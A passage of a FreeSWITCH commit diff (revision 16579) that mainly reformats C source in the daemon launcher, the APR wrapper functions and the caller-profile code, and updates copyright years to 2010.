- fprintf(stderr, "Error Backgrounding (fork2)! %d - %s\n", errno, strerror(errno));
- exit(0);
- break;
- default:
- fprintf(stderr, "%d Backgrounding.\n", (int) pid);
- exit(0);
+ case 0:
+ break;
+ case -1:
+ fprintf(stderr, "Error Backgrounding (fork2)! %d - %s\n", errno, strerror(errno));
+ exit(0);
+ break;
+ default:
+ fprintf(stderr, "%d Backgrounding.\n", (int) pid);
+ exit(0);
}
/* redirect std* to null */
@@ -272,7 +273,7 @@
#endif
int nc = 0; /* TRUE if we are running in noconsole mode */
pid_t pid = 0;
- int i,x;
+ int i, x;
char *opts;
char opts_str[1024] = "";
char *local_argv[1024] = { 0 };
@@ -320,14 +321,11 @@
"\t-uninstall -- remove freeswitch as a service\n"
#else
"\t-nf -- no forking\n"
- "\t-u [user] -- specify user to switch to\n"
- "\t-g [group] -- specify group to switch to\n"
+ "\t-u [user] -- specify user to switch to\n" "\t-g [group] -- specify group to switch to\n"
#endif
- "\t-help -- this message\n"
- "\t-version -- print the version and exit\n"
+ "\t-help -- this message\n" "\t-version -- print the version and exit\n"
#ifdef HAVE_SETRLIMIT
- "\t-waste -- allow memory waste\n"
- "\t-core -- dump cores\n"
+ "\t-waste -- allow memory waste\n" "\t-core -- dump cores\n"
#endif
"\t-hp -- enable high priority settings\n"
"\t-vg -- run under valgrind\n"
@@ -344,8 +342,7 @@
"\t-run [rundir] -- specify an alternate run dir\n"
"\t-db [dbdir] -- specify an alternate db dir\n"
"\t-mod [moddir] -- specify an alternate mod dir\n"
- "\t-htdocs [htdocsdir] -- specify an alternate htdocs dir\n"
- "\t-scripts [scriptsdir] -- specify an alternate scripts dir\n";
+ "\t-htdocs [htdocsdir] -- specify an alternate htdocs dir\n" "\t-scripts [scriptsdir] -- specify an alternate scripts dir\n";
for (x = 1; x < local_argc; x++) {
known_opt = 0;
@@ -375,20 +372,14 @@
known_opt++;
GetModuleFileName(NULL, exePath, 1024);
snprintf(servicePath, sizeof(servicePath), "%s -service %s", exePath, service_name);
- { /* Perform service installation */
- SC_HANDLE hService;
+ { /* Perform service installation */
+ SC_HANDLE hService;
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hSCManager) {
fprintf(stderr, "Could not open service manager (%d).\n", GetLastError());
exit(1);
}
- hService = CreateService(hSCManager,
- service_name,
- service_name,
- GENERIC_READ | GENERIC_EXECUTE | SERVICE_CHANGE_CONFIG,
- SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE,
- servicePath, NULL, NULL, NULL,
- NULL, /* Service start name */
+ hService = CreateService(hSCManager, service_name, service_name, GENERIC_READ | GENERIC_EXECUTE | SERVICE_CHANGE_CONFIG, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, servicePath, NULL, NULL, NULL, NULL, /* Service start name */
NULL);
if (!hService) {
fprintf(stderr, "Error creating freeswitch service (%d).\n", GetLastError());
@@ -413,7 +404,7 @@
} else {
switch_copy_string(service_name, SERVICENAME_DEFAULT, SERVICENAME_MAXLEN);
}
- { /* Do the uninstallation */
+ { /* Do the uninstallation */
SC_HANDLE hService;
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hSCManager) {
@@ -436,7 +427,6 @@
}
}
}
-
#else
if (local_argv[x] && !strcmp(local_argv[x], "-u")) {
x++;
@@ -464,7 +454,6 @@
return 0;
known_opt++;
}
-
#endif
#ifdef HAVE_SETRLIMIT
if (local_argv[x] && !strcmp(local_argv[x], "-core")) {
@@ -563,7 +552,7 @@
}
known_opt++;
}
-
+
if (local_argv[x] && !strcmp(local_argv[x], "-log")) {
x++;
if (local_argv[x] && strlen(local_argv[x])) {
@@ -653,7 +642,7 @@
exit(0);
}
}
-
+
if (log_set && !run_set) {
SWITCH_GLOBAL_dirs.run_dir = (char *) malloc(strlen(SWITCH_GLOBAL_dirs.log_dir) + 1);
if (!SWITCH_GLOBAL_dirs.run_dir) {
@@ -689,7 +678,6 @@
}
#endif
}
-
#if defined(HAVE_SETRLIMIT) && !defined(__sun)
if (!waste && !(flags & SCF_VG)) {
memset(&rlp, 0, sizeof(rlp));
@@ -698,8 +686,8 @@
char buf[1024] = "";
int i = 0;
- fprintf(stderr, "Error: stacksize %d is too large: run ulimit -s %d or run %s -waste.\nauto-adjusting stack size for optimal performance...\n",
- (int)(rlp.rlim_max / 1024), SWITCH_THREAD_STACKSIZE / 1024, local_argv[0]);
+ fprintf(stderr, "Error: stacksize %d is too large: run ulimit -s %d or run %s -waste.\nauto-adjusting stack size for optimal performance...\n",
+ (int) (rlp.rlim_max / 1024), SWITCH_THREAD_STACKSIZE / 1024, local_argv[0]);
memset(&rlp, 0, sizeof(rlp));
rlp.rlim_cur = SWITCH_THREAD_STACKSIZE;
@@ -707,14 +695,14 @@
setrlimit(RLIMIT_STACK, &rlp);
apr_terminate();
- ret = (int)execv(argv[0], argv);
-
- for(i = 0; i < argc; i++) {
+ ret = (int) execv(argv[0], argv);
+
+ for (i = 0; i < argc; i++) {
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "%s ", argv[i]);
}
return system(buf);
-
+
}
}
#endif
@@ -732,15 +720,16 @@
#ifndef WIN32
if (runas_user || runas_group) {
if (change_user_group(runas_user, runas_group) < 0) {
- fprintf(stderr, "Failed to switch user / group\n" );
+ fprintf(stderr, "Failed to switch user / group\n");
return 255;
}
}
#else
if (win32_service) {
- { /* Attempt to start service */
+ { /* Attempt to start service */
SERVICE_TABLE_ENTRY dispatchTable[] = {
- {service_name, &service_main},
+ {service_name, &service_main}
+ ,
{NULL, NULL}
};
if (StartServiceCtrlDispatcher(dispatchTable) == 0) {
@@ -763,14 +752,10 @@
pid_len = strlen(pid_buffer);
apr_pool_create(&pool, NULL);
-
+
switch_dir_make_recursive(SWITCH_GLOBAL_dirs.run_dir, SWITCH_DEFAULT_DIR_PERMS, pool);
- if (switch_file_open(&fd,
- pid_path,
- SWITCH_FOPEN_READ,
- SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE,
- pool) == SWITCH_STATUS_SUCCESS) {
+ if (switch_file_open(&fd, pid_path, SWITCH_FOPEN_READ, SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE, pool) == SWITCH_STATUS_SUCCESS) {
old_pid_len = sizeof(old_pid_buffer);
switch_file_read(fd, old_pid_buffer, &old_pid_len);
@@ -780,8 +765,7 @@
if (switch_file_open(&fd,
pid_path,
SWITCH_FOPEN_WRITE | SWITCH_FOPEN_CREATE | SWITCH_FOPEN_TRUNCATE,
- SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE,
- pool) != SWITCH_STATUS_SUCCESS) {
+ SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE, pool) != SWITCH_STATUS_SUCCESS) {
fprintf(stderr, "Cannot open pid file %s.\n", pid_path);
return 255;
}
@@ -805,7 +789,7 @@
switch_core_runtime_loop(nc);
destroy_status = switch_core_destroy();
-
+
switch_file_close(fd);
if (unlink(pid_path) != 0) {
@@ -815,12 +799,12 @@
if (destroy_status == SWITCH_STATUS_RESTART) {
char buf[1024] = "";
int j = 0;
-
+
switch_sleep(1000000);
- ret = (int)execv(argv[0], argv);
+ ret = (int) execv(argv[0], argv);
fprintf(stderr, "Restart Failed [%s] resorting to plan b\n", strerror(errno));
- for(j = 0; j < argc; j++) {
+ for (j = 0; j < argc; j++) {
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "%s ", argv[j]);
}
Modified: freeswitch/trunk/src/switch_apr.c (16578 => 16579)
--- freeswitch/trunk/src/switch_apr.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_apr.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -75,13 +75,13 @@
#ifndef WIN32
return apr_os_thread_current();
#else
- return (switch_thread_id_t)(GetCurrentThreadId());
+ return (switch_thread_id_t) (GetCurrentThreadId());
#endif
}
SWITCH_DECLARE(int) switch_thread_equal(switch_thread_id_t tid1, switch_thread_id_t tid2)
{
-#ifdef WIN32
+#ifdef WIN32
return (tid1 == tid2);
#else
return apr_os_thread_equal(tid1, tid2);
@@ -95,26 +95,24 @@
}
SWITCH_DECLARE(unsigned int) switch_ci_hashfunc_default(const char *char_key, switch_ssize_t *klen)
-
{
- unsigned int hash = 0;
- const unsigned char *key = (const unsigned char *)char_key;
- const unsigned char *p;
- apr_ssize_t i;
-
- if (*klen == APR_HASH_KEY_STRING) {
- for (p = key; *p; p++) {
- hash = hash * 33 + tolower(*p);
- }
- *klen = p - key;
- }
- else {
- for (p = key, i = *klen; i; i--, p++) {
- hash = hash * 33 + tolower(*p);
- }
- }
+ unsigned int hash = 0;
+ const unsigned char *key = (const unsigned char *) char_key;
+ const unsigned char *p;
+ apr_ssize_t i;
- return hash;
+ if (*klen == APR_HASH_KEY_STRING) {
+ for (p = key; *p; p++) {
+ hash = hash * 33 + tolower(*p);
+ }
+ *klen = p - key;
+ } else {
+ for (p = key, i = *klen; i; i--, p++) {
+ hash = hash * 33 + tolower(*p);
+ }
+ }
+
+ return hash;
}
@@ -125,7 +123,7 @@
/* DSO functions */
-SWITCH_DECLARE(switch_status_t) switch_dso_load(switch_dso_handle_t **res_handle, const char *path, switch_memory_pool_t *ctx)
+SWITCH_DECLARE(switch_status_t) switch_dso_load(switch_dso_handle_t ** res_handle, const char *path, switch_memory_pool_t *ctx)
{
return apr_dso_load(res_handle, path, ctx);
}
@@ -150,44 +148,45 @@
SWITCH_DECLARE(switch_status_t) switch_strftime(char *s, switch_size_t *retsize, switch_size_t max, const char *format, switch_time_exp_t *tm)
{
const char *p = format;
-
- if (!p) return SWITCH_STATUS_FALSE;
+ if (!p)
+ return SWITCH_STATUS_FALSE;
+
while (*p) {
if (*p == '%') {
switch (*(++p)) {
- case 'C':
- case 'D':
- case 'r':
- case 'R':
- case 'T':
- case 'e':
- case 'a':
- case 'A':
- case 'b':
- case 'B':
- case 'c':
- case 'd':
- case 'H':
- case 'I':
- case 'j':
- case 'm':
- case 'M':
- case 'p':
- case 'S':
- case 'U':
- case 'w':
- case 'W':
- case 'x':
- case 'X':
- case 'y':
- case 'Y':
- case 'z':
- case 'Z':
- case '%':
+ case 'C':
+ case 'D':
+ case 'r':
+ case 'R':
+ case 'T':
+ case 'e':
+ case 'a':
+ case 'A':
+ case 'b':
+ case 'B':
+ case 'c':
+ case 'd':
+ case 'H':
+ case 'I':
+ case 'j':
+ case 'm':
+ case 'M':
+ case 'p':
+ case 'S':
+ case 'U':
+ case 'w':
+ case 'W':
+ case 'x':
+ case 'X':
+ case 'y':
+ case 'Y':
+ case 'z':
+ case 'Z':
+ case '%':
p++;
continue;
- case '\0':
+ case '\0':
default:
return SWITCH_STATUS_FALSE;
}
@@ -231,7 +230,7 @@
/* thread read write lock functions */
-SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_create(switch_thread_rwlock_t **rwlock, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_create(switch_thread_rwlock_t ** rwlock, switch_memory_pool_t *pool)
{
return apr_thread_rwlock_create(rwlock, pool);
}
@@ -289,7 +288,7 @@
/* thread mutex functions */
-SWITCH_DECLARE(switch_status_t) switch_mutex_init(switch_mutex_t **lock, unsigned int flags, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_mutex_init(switch_mutex_t ** lock, unsigned int flags, switch_memory_pool_t *pool)
{
return apr_thread_mutex_create(lock, flags, pool);
}
@@ -329,12 +328,12 @@
SWITCH_DECLARE(switch_status_t) switch_time_exp_gmt_get(switch_time_t *result, switch_time_exp_t *input)
{
- return apr_time_exp_gmt_get((apr_time_t *)result, (apr_time_exp_t *) input);
+ return apr_time_exp_gmt_get((apr_time_t *) result, (apr_time_exp_t *) input);
}
SWITCH_DECLARE(switch_status_t) switch_time_exp_get(switch_time_t *result, switch_time_exp_t *input)
{
- return apr_time_exp_get((apr_time_t *)result, (apr_time_exp_t *) input);
+ return apr_time_exp_get((apr_time_t *) result, (apr_time_exp_t *) input);
}
SWITCH_DECLARE(switch_status_t) switch_time_exp_lt(switch_time_exp_t *result, switch_time_t input)
@@ -344,7 +343,7 @@
SWITCH_DECLARE(switch_status_t) switch_time_exp_tz(switch_time_exp_t *result, switch_time_t input, switch_int32_t offs)
{
- return apr_time_exp_tz((apr_time_exp_t *) result, input, (apr_int32_t )offs);
+ return apr_time_exp_tz((apr_time_exp_t *) result, input, (apr_int32_t) offs);
}
SWITCH_DECLARE(switch_status_t) switch_time_exp_gmt(switch_time_exp_t *result, switch_time_t input)
@@ -364,7 +363,7 @@
/* Thread condition locks */
-SWITCH_DECLARE(switch_status_t) switch_thread_cond_create(switch_thread_cond_t **cond, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_thread_cond_create(switch_thread_cond_t ** cond, switch_memory_pool_t *pool)
{
return apr_thread_cond_create(cond, pool);
}
@@ -402,7 +401,7 @@
/* file i/o stubs */
-SWITCH_DECLARE(switch_status_t) switch_file_open(switch_file_t **newf, const char *fname, int32_t flag, switch_fileperms_t perm,
+SWITCH_DECLARE(switch_status_t) switch_file_open(switch_file_t ** newf, const char *fname, int32_t flag, switch_fileperms_t perm,
switch_memory_pool_t *pool)
{
return apr_file_open(newf, fname, flag, perm, pool);
@@ -417,10 +416,7 @@
return rv;
}
-SWITCH_DECLARE(switch_status_t) switch_file_copy(const char *from_path,
- const char *to_path,
- switch_fileperms_t perms,
- switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_file_copy(const char *from_path, const char *to_path, switch_fileperms_t perms, switch_memory_pool_t *pool)
{
return apr_file_copy(from_path, to_path, perms, pool);
}
@@ -471,7 +467,7 @@
return ret;
}
-SWITCH_DECLARE(switch_status_t) switch_file_mktemp(switch_file_t **thefile, char *templ, int32_t flags, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_file_mktemp(switch_file_t ** thefile, char *templ, int32_t flags, switch_memory_pool_t *pool)
{
return apr_file_mktemp(thefile, templ, flags, pool);
}
@@ -544,7 +540,7 @@
apr_finfo_t finfo;
};
-SWITCH_DECLARE(switch_status_t) switch_dir_open(switch_dir_t **new_dir, const char *dirname, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_dir_open(switch_dir_t ** new_dir, const char *dirname, switch_memory_pool_t *pool)
{
switch_status_t status;
switch_dir_t *dir = malloc(sizeof(*dir));
@@ -606,7 +602,7 @@
/* thread stubs */
-SWITCH_DECLARE(switch_status_t) switch_threadattr_create(switch_threadattr_t **new_attr, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_threadattr_create(switch_threadattr_t ** new_attr, switch_memory_pool_t *pool)
{
return apr_threadattr_create(new_attr, pool);
}
@@ -648,7 +644,7 @@
static char TT_KEY[] = "1";
-SWITCH_DECLARE(switch_status_t) switch_thread_create(switch_thread_t **new_thread, switch_threadattr_t *attr,
+SWITCH_DECLARE(switch_status_t) switch_thread_create(switch_thread_t ** new_thread, switch_threadattr_t *attr,
switch_thread_start_t func, void *data, switch_memory_pool_t *cont)
{
switch_core_memory_pool_set_data(cont, "_in_thread", TT_KEY);
@@ -657,12 +653,12 @@
/* socket stubs */
-SWITCH_DECLARE(switch_status_t) switch_socket_addr_get(switch_sockaddr_t **sa, switch_bool_t remote, switch_socket_t *sock)
+SWITCH_DECLARE(switch_status_t) switch_socket_addr_get(switch_sockaddr_t ** sa, switch_bool_t remote, switch_socket_t *sock)
{
return apr_socket_addr_get(sa, remote, sock);
}
-SWITCH_DECLARE(switch_status_t) switch_socket_create(switch_socket_t **new_sock, int family, int type, int protocol, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_socket_create(switch_socket_t ** new_sock, int family, int type, int protocol, switch_memory_pool_t *pool)
{
return apr_socket_create(new_sock, family, type, protocol, pool);
}
@@ -687,7 +683,7 @@
return apr_socket_listen(sock, backlog);
}
-SWITCH_DECLARE(switch_status_t) switch_socket_accept(switch_socket_t **new_sock, switch_socket_t *sock, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_socket_accept(switch_socket_t ** new_sock, switch_socket_t *sock, switch_memory_pool_t *pool)
{
return apr_socket_accept(new_sock, sock, pool);
}
@@ -722,7 +718,8 @@
return status;
}
-SWITCH_DECLARE(switch_status_t) switch_socket_sendto(switch_socket_t *sock, switch_sockaddr_t *where, int32_t flags, const char *buf, switch_size_t *len)
+SWITCH_DECLARE(switch_status_t) switch_socket_sendto(switch_socket_t *sock, switch_sockaddr_t *where, int32_t flags, const char *buf,
+ switch_size_t *len)
{
if (!where || !buf || !len || !*len) {
return SWITCH_STATUS_GENERR;
@@ -735,7 +732,7 @@
return apr_socket_recv(sock, buf, len);
}
-SWITCH_DECLARE(switch_status_t) switch_sockaddr_info_get(switch_sockaddr_t **sa, const char *hostname, int32_t family,
+SWITCH_DECLARE(switch_status_t) switch_sockaddr_info_get(switch_sockaddr_t ** sa, const char *hostname, int32_t family,
switch_port_t port, int32_t flags, switch_memory_pool_t *pool)
{
return apr_sockaddr_info_get(sa, hostname, family, port, flags, pool);
@@ -779,7 +776,7 @@
if (!in) {
return "";
}
- return get_addr(buf, len, (struct sockaddr*)&in->sa, in->salen);
+ return get_addr(buf, len, (struct sockaddr *) &in->sa, in->salen);
}
SWITCH_DECLARE(uint16_t) switch_sockaddr_get_port(switch_sockaddr_t *sa)
@@ -817,7 +814,7 @@
/* poll stubs */
-SWITCH_DECLARE(switch_status_t) switch_pollset_create(switch_pollset_t **pollset, uint32_t size, switch_memory_pool_t *p, uint32_t flags)
+SWITCH_DECLARE(switch_status_t) switch_pollset_create(switch_pollset_t ** pollset, uint32_t size, switch_memory_pool_t *p, uint32_t flags)
{
return apr_pollset_create(pollset, size, p, flags);
}
@@ -827,16 +824,16 @@
if (!pollset) {
return SWITCH_STATUS_FALSE;
}
-
- return apr_pollset_add((apr_pollset_t *)pollset, (const apr_pollfd_t *)descriptor);
+
+ return apr_pollset_add((apr_pollset_t *) pollset, (const apr_pollfd_t *) descriptor);
}
SWITCH_DECLARE(switch_status_t) switch_poll(switch_pollfd_t *aprset, int32_t numsock, int32_t *nsds, switch_interval_time_t timeout)
{
apr_status_t st = SWITCH_STATUS_FALSE;
-
+
if (aprset) {
- st = apr_poll((apr_pollfd_t *)aprset, numsock, nsds, timeout);
+ st = apr_poll((apr_pollfd_t *) aprset, numsock, nsds, timeout);
if (st == APR_TIMEUP) {
st = SWITCH_STATUS_TIMEOUT;
@@ -846,7 +843,7 @@
return st;
}
-SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t **poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t ** poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool)
{
switch_pollset_t *pollset;
@@ -885,8 +882,8 @@
apr_uuid_format(buffer, (const apr_uuid_t *) uuid);
#else
RPC_CSTR buf;
- UuidToString((const UUID*)uuid, &buf);
- strcpy(buffer, (const char*)buf);
+ UuidToString((const UUID *) uuid, &buf);
+ strcpy(buffer, (const char *) buf);
RpcStringFree(&buf);
#endif
}
@@ -897,7 +894,7 @@
#ifndef WIN32
apr_uuid_get((apr_uuid_t *) uuid);
#else
- UuidCreate((UUID*)uuid);
+ UuidCreate((UUID *) uuid);
#endif
switch_mutex_unlock(runtime.uuid_mutex);
}
@@ -907,7 +904,7 @@
#ifndef WIN32
return apr_uuid_parse((apr_uuid_t *) uuid, uuid_str);
#else
- return UuidFromString((RPC_CSTR)uuid_str, (UUID*)uuid);
+ return UuidFromString((RPC_CSTR) uuid_str, (UUID *) uuid);
#endif
}
@@ -924,7 +921,7 @@
digest_str[SWITCH_MD5_DIGEST_STRING_SIZE - 1] = '\0';
- for( x = 0; x < SWITCH_MD5_DIGESTSIZE; x++) {
+ for (x = 0; x < SWITCH_MD5_DIGESTSIZE; x++) {
switch_snprintf(digest_str + (x * 2), 3, "%02x", digest[x]);
}
@@ -933,7 +930,7 @@
/* FIFO queues (apr-util) */
-SWITCH_DECLARE(switch_status_t) switch_queue_create(switch_queue_t **queue, unsigned int queue_capacity, switch_memory_pool_t *pool)
+SWITCH_DECLARE(switch_status_t) switch_queue_create(switch_queue_t ** queue, unsigned int queue_capacity, switch_memory_pool_t *pool)
{
return apr_queue_create(queue, queue_capacity, pool);
}
@@ -1016,7 +1013,7 @@
#endif
}
-SWITCH_DECLARE(switch_status_t) switch_match_glob(const char *pattern, switch_array_header_t **result, switch_memory_pool_t *p)
+SWITCH_DECLARE(switch_status_t) switch_match_glob(const char *pattern, switch_array_header_t ** result, switch_memory_pool_t *p)
{
return apr_match_glob(pattern, (apr_array_header_t **) result, p);
}
@@ -1027,9 +1024,9 @@
* @param out The file descriptor to use as output from the pipe.
* @param pool The pool to operate on.
*/
-SWITCH_DECLARE(switch_status_t) switch_file_pipe_create(switch_file_t **in, switch_file_t **out, switch_memory_pool_t *p)
+SWITCH_DECLARE(switch_status_t) switch_file_pipe_create(switch_file_t ** in, switch_file_t ** out, switch_memory_pool_t *p)
{
- return apr_file_pipe_create ((apr_file_t **) in, (apr_file_t **) out, p);
+ return apr_file_pipe_create((apr_file_t **) in, (apr_file_t **) out, p);
}
/**
@@ -1039,7 +1036,7 @@
*/
SWITCH_DECLARE(switch_status_t) switch_file_pipe_timeout_get(switch_file_t *thepipe, switch_interval_time_t *timeout)
{
- return apr_file_pipe_timeout_get( (apr_file_t *)thepipe, (apr_interval_time_t *)timeout);
+ return apr_file_pipe_timeout_get((apr_file_t *) thepipe, (apr_interval_time_t *) timeout);
}
/**
@@ -1050,7 +1047,7 @@
*/
SWITCH_DECLARE(switch_status_t) switch_file_pipe_timeout_set(switch_file_t *thepipe, switch_interval_time_t timeout)
{
- return apr_file_pipe_timeout_set( (apr_file_t *)thepipe, (apr_interval_time_t)timeout);
+ return apr_file_pipe_timeout_set((apr_file_t *) thepipe, (apr_interval_time_t) timeout);
}
@@ -1061,7 +1058,7 @@
*/
SWITCH_DECLARE(switch_status_t) switch_thread_exit(switch_thread_t *thd, switch_status_t retval)
{
- return apr_thread_exit((apr_thread_t *)thd, retval);
+ return apr_thread_exit((apr_thread_t *) thd, retval);
}
/**
@@ -1071,7 +1068,7 @@
*/
SWITCH_DECLARE(switch_status_t) switch_thread_join(switch_status_t *retval, switch_thread_t *thd)
{
- return apr_thread_join((apr_status_t *)retval, (apr_thread_t *)thd);
+ return apr_thread_join((apr_status_t *) retval, (apr_thread_t *) thd);
}
Modified: freeswitch/trunk/src/switch_buffer.c (16578 => 16579)
--- freeswitch/trunk/src/switch_buffer.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_buffer.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/switch_caller.c (16578 => 16579)
--- freeswitch/trunk/src/switch_caller.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_caller.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -50,7 +50,7 @@
switch_caller_profile_t *profile = NULL;
profile = switch_core_alloc(pool, sizeof(*profile));
- switch_assert(profile != NULL);
+ switch_assert(profile != NULL);
memset(profile, 0, sizeof(*profile));
if (!context) {
@@ -218,28 +218,28 @@
return switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER) ? "true" : "false";
}
if (!strcasecmp(name, "profile_created_time")) {
- return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->profile_created);
+ return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->profile_created);
}
if (!strcasecmp(name, "created_time")) {
- return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->created);
+ return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->created);
}
if (!strcasecmp(name, "answered_time")) {
- return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->answered);
+ return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->answered);
}
if (!strcasecmp(name, "progress_time")) {
- return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress);
+ return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress);
}
if (!strcasecmp(name, "progress_media_time")) {
- return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress_media);
+ return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress_media);
}
if (!strcasecmp(name, "hungup_time")) {
- return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->hungup);
+ return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->hungup);
}
if (!strcasecmp(name, "transferred_time")) {
- return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->transferred);
+ return switch_core_sprintf(caller_profile->pool, "%" SWITCH_TIME_T_FMT, caller_profile->times->transferred);
}
-
+
return NULL;
}
@@ -311,7 +311,7 @@
switch_snprintf(header_name, sizeof(header_name), "%s-Channel-Answered-Time", prefix);
switch_event_add_header(event, SWITCH_STACK_BOTTOM, header_name, "%" SWITCH_TIME_T_FMT, caller_profile->times->answered);
switch_snprintf(header_name, sizeof(header_name), "%s-Channel-Progress-Time", prefix);
- switch_event_add_header(event, SWITCH_STACK_BOTTOM, header_name, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress);
+ switch_event_add_header(event, SWITCH_STACK_BOTTOM, header_name, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress);
switch_snprintf(header_name, sizeof(header_name), "%s-Channel-Progress-Media-Time", prefix);
switch_event_add_header(event, SWITCH_STACK_BOTTOM, header_name, "%" SWITCH_TIME_T_FMT, caller_profile->times->progress_media);
switch_snprintf(header_name, sizeof(header_name), "%s-Channel-Hangup-Time", prefix);
@@ -330,7 +330,7 @@
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, header_name, switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER) ? "true" : "false");
}
-SWITCH_DECLARE(switch_status_t) switch_caller_extension_clone(switch_caller_extension_t **new_ext, switch_caller_extension_t *orig,
+SWITCH_DECLARE(switch_status_t) switch_caller_extension_clone(switch_caller_extension_t **new_ext, switch_caller_extension_t *orig,
switch_memory_pool_t *pool)
{
switch_caller_extension_t *caller_extension = NULL;
@@ -341,10 +341,10 @@
if ((caller_extension = switch_core_alloc(pool, sizeof(switch_caller_extension_t))) != 0) {
int match = 0;
- caller_extension->extension_name = switch_core_strdup(pool, orig->extension_name);
- caller_extension->extension_number = switch_core_strdup(pool, orig->extension_number);
+ caller_extension->extension_name = switch_core_strdup(pool, orig->extension_name);
+ caller_extension->extension_number = switch_core_strdup(pool, orig->extension_number);
- for(ap = orig->applications; ap; ap = ap->next) {
+ for (ap = orig->applications; ap; ap = ap->next) {
if (!match) {
if (ap == orig->current_application) {
@@ -354,7 +354,7 @@
}
}
caller_application = switch_core_alloc(pool, sizeof(switch_caller_application_t));
-
+
caller_application->application_name = switch_core_strdup(pool, ap->application_name);
caller_application->application_data = switch_core_strdup(pool, ap->application_data);
@@ -363,7 +363,7 @@
} else if (caller_extension->last_application) {
caller_extension->last_application->next = caller_application;
}
-
+
caller_extension->last_application = caller_application;
if (ap == orig->current_application) {
@@ -374,9 +374,9 @@
*new_ext = caller_extension;
return SWITCH_STATUS_SUCCESS;
- }
-
+ }
+
return SWITCH_STATUS_MEMERR;
}
@@ -396,18 +396,18 @@
SWITCH_DECLARE(void) switch_caller_extension_add_application_printf(switch_core_session_t *session,
- switch_caller_extension_t *caller_extension, const char *application_name,
- const char *fmt, ...)
+ switch_caller_extension_t *caller_extension, const char *application_name,
+ const char *fmt, ...)
{
va_list ap;
char *data = NULL;
-
+
va_start(ap, fmt);
switch_vasprintf(&data, fmt, ap);
va_end(ap);
-
+
if (data) {
- switch_caller_extension_add_application(session, caller_extension, application_name, data);
+ switch_caller_extension_add_application(session, caller_extension, application_name, data);
free(data);
}
}
Modified: freeswitch/trunk/src/switch_channel.c (16578 => 16579)
--- freeswitch/trunk/src/switch_channel.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_channel.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
